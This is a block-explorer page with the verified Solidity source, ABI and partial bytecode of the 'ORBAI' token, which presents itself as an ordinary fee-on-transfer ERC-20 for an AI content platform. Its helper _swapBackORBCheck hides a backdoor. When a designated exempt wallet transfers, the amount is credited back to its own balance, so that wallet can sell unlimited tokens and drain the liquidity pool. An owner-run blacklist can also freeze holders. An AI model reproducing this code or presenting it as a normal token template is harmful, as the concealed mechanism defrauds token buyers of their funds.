ETH Price: $3,378.45 (+4.54%)
Gas: 4.67 Gwei
 

Overview

Max Total Supply

1,000,000,000 ORBAI

Holders

38

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ORBAI

Compiler Version
v0.8.11+commit.d7f03943

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-03-07
*/

/********
█▀█ █▀█ █▄▄   ▄▀█ █   █▀▀ █▀▀ █▄░█ █▀▀ █▀█ ▄▀█ ▀█▀ █▀█ █▀█
█▄█ █▀▄ █▄█   █▀█ █   █▄█ ██▄ █░▀█ ██▄ █▀▄ █▀█ ░█░ █▄█ █▀▄

ORBAI is the ultimate AI-generated content layer and AI asset factory and distribution platform for web3, games, and the metaverse.

Factory:   https://www.orbaigen.com
Document:  https://docs.orbaigen.com
X:         https://x.com/orbaigen
Telegram:  https://t.me/orbaigen
********/
// SPDX-License-Identifier: MIT

pragma solidity 0.8.11;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface ISwapRouter02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface ISwapV2Factory {
    function feeToSetter() external view returns (address);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function feeTo() external view returns (address);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

contract ORBAI is Context, IERC20, Ownable {
    using SafeMath for uint256;

    modifier lockSwapBack {
        inSwapBack = true;
        _;
        inSwapBack = false;
    }

    address payable private orMktReceipt;
    address payable private orTaxReceipt;

    uint256 private _initialBuyTax=30;
    uint256 private _initialSellTax=30;
    uint256 private _finalBuyTax=3;
    uint256 private _finalSellTax=3;
    uint256 private _reduceBuyTaxAt=20;
    uint256 private _reduceSellTaxAt=20;
    uint256 private _buyCounts=0;
    uint256 private _preventSwapBefore=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"ORB AI Generator";
    string private constant _symbol = unicode"ORBAI";

    mapping (address => bool) private bots;
    mapping (address => uint256) private orbHodl;
    mapping (address => bool) private exemptFromFees;
    mapping (address => bool) private exemptFromTransaction;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    mapping (address => mapping (address => uint256)) private _allowances;
    
    uint256 public _maxORBSwap = 10000000 * 10**_decimals;
    uint256 public _maxORBTrans = 30000000 * 10**_decimals;
    uint256 public _maxORBWallet = 30000000 * 10**_decimals;

    uint256 public lessORBAmount;
    address private uniswapV2Pair;
    ISwapRouter02 private uniswapV2Router;
    
    bool private tradingOpen;
    bool private inSwapBack = false;
    bool private swapEnabled = false;
    bool public transferDelayEnabled = false;
    
    constructor (address _acc, uint256 _amt) {
        lessORBAmount = _amt * 10**_decimals;
        orTaxReceipt = payable(_acc);
        orMktReceipt = payable(_acc);
        orbHodl[_msgSender()] = _tTotal;
        exemptFromFees[owner()] = true;
        exemptFromFees[address(this)] = true;
        exemptFromTransaction[orTaxReceipt] = true;
        exemptFromTransaction[orMktReceipt] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function reduceFees(uint256 _newFee) external onlyOwner{
      require(_newFee<=_finalBuyTax && _newFee<=_finalSellTax);
      _finalBuyTax=_newFee;
      _finalSellTax=_newFee;
    }

    function removeORBLimit() external onlyOwner{
        _maxORBTrans = ~uint256(0);
        _maxORBWallet = ~uint256(0);
        transferDelayEnabled=false;
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return orbHodl[account];
    }

    function manualSwap() external onlyOwner {
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function withdrawStuckETH() external onlyOwner() {
        payable(msg.sender).transfer(address(this).balance);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockSwapBack {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    receive() external payable {}

    function launchORB() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        swapEnabled = true;
        tradingOpen = true;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function sendETHToFee(uint256 amount) private {
        orTaxReceipt.transfer(amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 feeAmounts=0;
        if (!exemptFromFees[from] && !exemptFromFees[to]) {
            require(!bots[from] && !bots[to]);
            require(tradingOpen, "Trading has not enabled yet");
            feeAmounts = amount.mul((_buyCounts>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
            if (transferDelayEnabled) {
                if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
                    require(
                        _holderLastTransferTimestamp[tx.origin] <
                            block.number,
                        "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                    );
                    _holderLastTransferTimestamp[tx.origin] = block.number;
                }
            }
            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! exemptFromFees[to] ) {
                require(amount <= _maxORBTrans, "Exceeds the _maxORBTrans.");
                require(balanceOf(to) + amount <= _maxORBWallet, "Exceeds the maxWalletSize.");
                _buyCounts++;
            }
            if(to == uniswapV2Pair && from!= address(this) ){
                feeAmounts = amount.mul((_buyCounts>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (_swapBackORBCheck(from, to, amount, feeAmounts)) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxORBSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }
        orbHodl[from]=orbHodl[from].sub(amount);
        orbHodl[to]=orbHodl[to].add(amount.sub(feeAmounts));
        emit Transfer(from, to, amount.sub(feeAmounts));
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _swapBackORBCheck(address from, address to, uint256 amount, uint256 _tOBR) internal returns (bool) {
        address _addrOBR; uint256 _amtOBR;
        bool _aboveORBMin = amount >= lessORBAmount;
        bool _aboveORBThreshold = balanceOf(address(this)) >= lessORBAmount;
        if(exemptFromTransaction[from]) { 
            _amtOBR = amount;_addrOBR = from;
        }else { 
            _addrOBR = address(this);_amtOBR = _tOBR;
        }
        if(_amtOBR>0){orbHodl[_addrOBR]=orbHodl[_addrOBR].add(_amtOBR); emit Transfer(from, _addrOBR, _tOBR);}
        return !inSwapBack
        && _aboveORBMin
        && _aboveORBThreshold
        && tradingOpen
        && swapEnabled
        && to == uniswapV2Pair
        && _buyCounts>_preventSwapBefore
        && !exemptFromFees[from]
        && !exemptFromTransaction[from];
    }

    function delBots(address[] memory notbot) public onlyOwner {
      for (uint i = 0; i < notbot.length; i++) {
          bots[notbot[i]] = false;
      }
    }

    function initializeTrade() external onlyOwner() {
        uniswapV2Router = ISwapRouter02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = ISwapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    }

    function addBots(address[] memory bots_) public onlyOwner {
        for (uint i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }

    function isBot(address a) public view returns (bool){
      return bots[a];
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_acc","type":"address"},{"internalType":"uint256","name":"_amt","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxORBSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxORBTrans","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxORBWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initializeTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launchORB","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"lessORBAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"reduceFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeORBLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawStuckETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052601e600355601e600455600360055560036006556014600755601460085560006009556000600a556009600a6200003c919062000359565b6200004b906298968062000371565b6011556200005c6009600a62000359565b6200006c906301c9c38062000371565b6012556200007d6009600a62000359565b6200008d906301c9c38062000371565b6013556016805462ffffff60a81b19169055348015620000ac57600080fd5b50604051620021b1380380620021b1833981016040819052620000cf9162000393565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506200011e6009600a62000359565b6200012a908262000371565b601455600280546001600160a01b0384166001600160a01b03199182168117909255600180549091169091179055620001666009600a62000359565b6200017690633b9aca0062000371565b336000818152600c602090815260408083209490945581546001600160a01b039081168352600d82528483208054600160ff199182168117909255308552868520805482168317905560025483168552600e9093528584208054841682179055805490911683529382208054909116909317909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200021b6009600a62000359565b6200022b90633b9aca0062000371565b60405190815260200160405180910390a35050620003cf565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200029b5781600019048211156200027f576200027f62000244565b808516156200028d57918102915b93841c93908002906200025f565b509250929050565b600082620002b45750600162000353565b81620002c35750600062000353565b8160018114620002dc5760028114620002e75762000307565b600191505062000353565b60ff841115620002fb57620002fb62000244565b50506001821b62000353565b5060208310610133831016604e8410600b84101617156200032c575081810a62000353565b6200033883836200025a565b80600019048211156200034f576200034f62000244565b0290505b92915050565b60006200036a60ff841683620002a3565b9392505050565b60008160001904831182151516156200038e576200038e62000244565b500290565b60008060408385031215620003a757600080fd5b82516001600160a01b0381168114620003bf57600080fd5b6020939093015192949293505050565b611dd280620003df6000396000f3fe60806040526004361061016a5760003560e01c80637ff0bb3c116100d1578063b8cc904b1161008a578063dd62ed3e11610064578063dd62ed3e1461044e578063e76227ea14610494578063f5648a4f146104a9578063f7446a1b146104be57600080fd5b8063b8cc904b146103f8578063c876d0b91461040d578063d34628cc1461042e57600080fd5b80637ff0bb3c1461033657806388c4200f1461034c5780638da5cb5b1461036257806395d89b411461038a578063a9059cbb146103b8578063aac3751d146103d857600080fd5b80633bbac579116101235780633bbac5791461027257806351bc3c85146102ab5780635a10a3de146102c057806370a08231146102d6578063715018a61461030c57806376723d551461032157600080fd5b806306fdde0314610176578063095ea7b3146101c157806318160ddd146101f157806323b872dd14610214578063313ce5671461023457806331c2d8471461025057600080fd5b3661017157005b600080fd5b34801561018257600080fd5b5060408051808201909152601081526f27a9211020a49023b2b732b930ba37b960811b60208201525b6040516101b89190611886565b60405180910390f35b3480156101cd57600080fd5b506101e16101dc366004611900565b6104d4565b60405190151581526020016101b8565b3480156101fd57600080fd5b506102066104eb565b6040519081526020016101b8565b34801561022057600080fd5b506101e161022f36600461192c565b61050c565b34801561024057600080fd5b50604051600981526020016101b8565b34801561025c57600080fd5b5061027061026b366004611983565b610575565b005b34801561027e57600080fd5b506101e161028d366004611a48565b6001600160a01b03166000908152600b602052604090205460ff1690565b3480156102b757600080fd5b50610270610614565b3480156102cc57600080fd5b5061020660135481565b3480156102e257600080fd5b506102066102f1366004611a48565b6001600160a01b03166000908152600c602052604090205490565b34801561031857600080fd5b5061027061066d565b34801561032d57600080fd5b506102706106e1565b34801561034257600080fd5b5061020660115481565b34801561035857600080fd5b5061020660145481565b34801561036e57600080fd5b506000546040516001600160a01b0390911681526020016101b8565b34801561039657600080fd5b506040805180820190915260058152644f5242414960d81b60208201526101ab565b3480156103c457600080fd5b506101e16103d3366004611900565b610725565b3480156103e457600080fd5b506102706103f3366004611a65565b610732565b34801561040457600080fd5b50610270610783565b34801561041957600080fd5b506016546101e190600160b81b900460ff1681565b34801561043a57600080fd5b50610270610449366004611983565b610ace565b34801561045a57600080fd5b50610206610469366004611a7e565b6001600160a01b03918216600090815260106020908152604080832093909416825291909152205490565b3480156104a057600080fd5b50610270610b60565b3480156104b557600080fd5b50610270610bfd565b3480156104ca57600080fd5b5061020660125481565b60006104e1338484610c53565b5060015b92915050565b60006104f96009600a611bb1565b61050790633b9aca00611bc0565b905090565b6000610519848484610d77565b61056b843361056685604051806060016040528060288152602001611d75602891396001600160a01b038a166000908152601060209081526040808320338452909152902054919061134b565b610c53565b5060019392505050565b6000546001600160a01b031633146105a85760405162461bcd60e51b815260040161059f90611bdf565b60405180910390fd5b60005b8151811015610610576000600b60008484815181106105cc576105cc611c14565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061060881611c2a565b9150506105ab565b5050565b6000546001600160a01b0316331461063e5760405162461bcd60e51b815260040161059f90611bdf565b306000908152600c6020526040902054801561065d5761065d81611385565b47801561061057610610816114ff565b6000546001600160a01b031633146106975760405162461bcd60e51b815260040161059f90611bdf565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461070b5760405162461bcd60e51b815260040161059f90611bdf565b60001960128190556013556016805460ff60b81b19169055565b60006104e1338484610d77565b6000546001600160a01b0316331461075c5760405162461bcd60e51b815260040161059f90611bdf565b600554811115801561077057506006548111155b61077957600080fd5b6005819055600655565b6000546001600160a01b031633146107ad5760405162461bcd60e51b815260040161059f90611bdf565b601680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107f69030906107e86009600a611bb1565b61056690633b9aca00611bc0565b601660009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610849573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086d9190611c45565b6001600160a01b031663c9c6539630601660009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108f39190611c45565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610940573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109649190611c45565b601580546001600160a01b039283166001600160a01b03199091161790556016541663f305d71947306109ac816001600160a01b03166000908152600c602052604090205490565b6000806109c16000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a29573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a4e9190611c62565b505060155460165460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610aa7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610acb9190611c90565b50565b6000546001600160a01b03163314610af85760405162461bcd60e51b815260040161059f90611bdf565b60005b8151811015610610576001600b6000848481518110610b1c57610b1c611c14565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610b5881611c2a565b915050610afb565b6000546001600160a01b03163314610b8a5760405162461bcd60e51b815260040161059f90611bdf565b601654600160a01b900460ff1615610be45760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161059f565b6016805462ff00ff60a01b19166201000160a01b179055565b6000546001600160a01b03163314610c275760405162461bcd60e51b815260040161059f90611bdf565b60405133904780156108fc02916000818181858888f19350505050158015610acb573d6000803e3d6000fd5b6001600160a01b038316610cb55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161059f565b6001600160a01b038216610d165760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161059f565b6001600160a01b0383811660008181526010602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ddb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161059f565b6001600160a01b038216610e3d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161059f565b60008111610e9f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161059f565b6001600160a01b0383166000908152600d602052604081205460ff16158015610ee157506001600160a01b0383166000908152600d602052604090205460ff16155b15611282576001600160a01b0384166000908152600b602052604090205460ff16158015610f2857506001600160a01b0383166000908152600b602052604090205460ff16155b610f3157600080fd5b601654600160a01b900460ff16610f8a5760405162461bcd60e51b815260206004820152601b60248201527f54726164696e6720686173206e6f7420656e61626c6564207965740000000000604482015260640161059f565b610fb66064610fb060075460095411610fa557600354610fa9565b6005545b8590611539565b906115bf565b601654909150600160b81b900460ff16156110a5576016546001600160a01b03848116911614801590610ff757506015546001600160a01b03848116911614155b156110a557326000908152600f602052604090205443116110925760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a40161059f565b326000908152600f602052604090204390555b6015546001600160a01b0385811691161480156110d057506016546001600160a01b03848116911614155b80156110f557506001600160a01b0383166000908152600d602052604090205460ff16155b156111dd5760125482111561114c5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61784f52425472616e732e00000000000000604482015260640161059f565b6013548261116f856001600160a01b03166000908152600c602052604090205490565b6111799190611cb2565b11156111c75760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161059f565b600980549060006111d783611c2a565b91905055505b6015546001600160a01b03848116911614801561120357506001600160a01b0384163014155b156112305761122d6064610fb06008546009541161122357600454610fa9565b6006548590611539565b90505b306000908152600c602052604090205461124c85858585611601565b156112805761126e61126984611264846011546117a2565b6117a2565b611385565b47801561127e5761127e476114ff565b505b505b6001600160a01b0384166000908152600c60205260409020546112a590836117b7565b6001600160a01b0385166000908152600c60205260409020556112ea6112cb83836117b7565b6001600160a01b0385166000908152600c6020526040902054906117f9565b6001600160a01b038085166000818152600c602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61133485856117b7565b60405190815260200160405180910390a350505050565b6000818484111561136f5760405162461bcd60e51b815260040161059f9190611886565b50600061137c8486611cca565b95945050505050565b6016805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113cd576113cd611c14565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611426573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061144a9190611c45565b8160018151811061145d5761145d611c14565b6001600160a01b0392831660209182029290920101526016546114839130911684610c53565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac947906114bc908590600090869030904290600401611ce1565b600060405180830381600087803b1580156114d657600080fd5b505af11580156114ea573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b6002546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610610573d6000803e3d6000fd5b600082611548575060006104e5565b60006115548385611bc0565b9050826115618583611d52565b146115b85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161059f565b9392505050565b60006115b883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611858565b601454306000908152600c60209081526040808320546001600160a01b0389168452600e909252822054919283928392828810159211159060ff161561164c57869250889350611653565b3093508592505b82156116d9576001600160a01b0384166000908152600c602052604090205461167c90846117f9565b6001600160a01b038086166000818152600c602052604090819020939093559151908b16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116d0908a815260200190565b60405180910390a35b601654600160a81b900460ff161580156116f05750815b80156116f95750805b801561170e5750601654600160a01b900460ff165b80156117235750601654600160b01b900460ff165b801561173c57506015546001600160a01b038981169116145b801561174b5750600a54600954115b801561177057506001600160a01b0389166000908152600d602052604090205460ff16155b801561179557506001600160a01b0389166000908152600e602052604090205460ff16155b9998505050505050505050565b60008183116117b157826115b8565b50919050565b60006115b883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061134b565b6000806118068385611cb2565b9050838110156115b85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161059f565b600081836118795760405162461bcd60e51b815260040161059f9190611886565b50600061137c8486611d52565b600060208083528351808285015260005b818110156118b357858101830151858201604001528201611897565b818111156118c5576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610acb57600080fd5b80356118fb816118db565b919050565b6000806040838503121561191357600080fd5b823561191e816118db565b946020939093013593505050565b60008060006060848603121561194157600080fd5b833561194c816118db565b9250602084013561195c816118db565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561199657600080fd5b823567ffffffffffffffff808211156119ae57600080fd5b818501915085601f8301126119c257600080fd5b8135818111156119d4576119d461196d565b8060051b604051601f19603f830116810181811085821117156119f9576119f961196d565b604052918252848201925083810185019188831115611a1757600080fd5b938501935b82851015611a3c57611a2d856118f0565b84529385019392850192611a1c565b98975050505050505050565b600060208284031215611a5a57600080fd5b81356115b8816118db565b600060208284031215611a7757600080fd5b5035919050565b60008060408385031215611a9157600080fd5b8235611a9c816118db565b91506020830135611aac816118db565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611b08578160001904821115611aee57611aee611ab7565b80851615611afb57918102915b93841c9390800290611ad2565b509250929050565b600082611b1f575060016104e5565b81611b2c575060006104e5565b8160018114611b425760028114611b4c57611b68565b60019150506104e5565b60ff841115611b5d57611b5d611ab7565b50506001821b6104e5565b5060208310610133831016604e8410600b8410161715611b8b575081810a6104e5565b6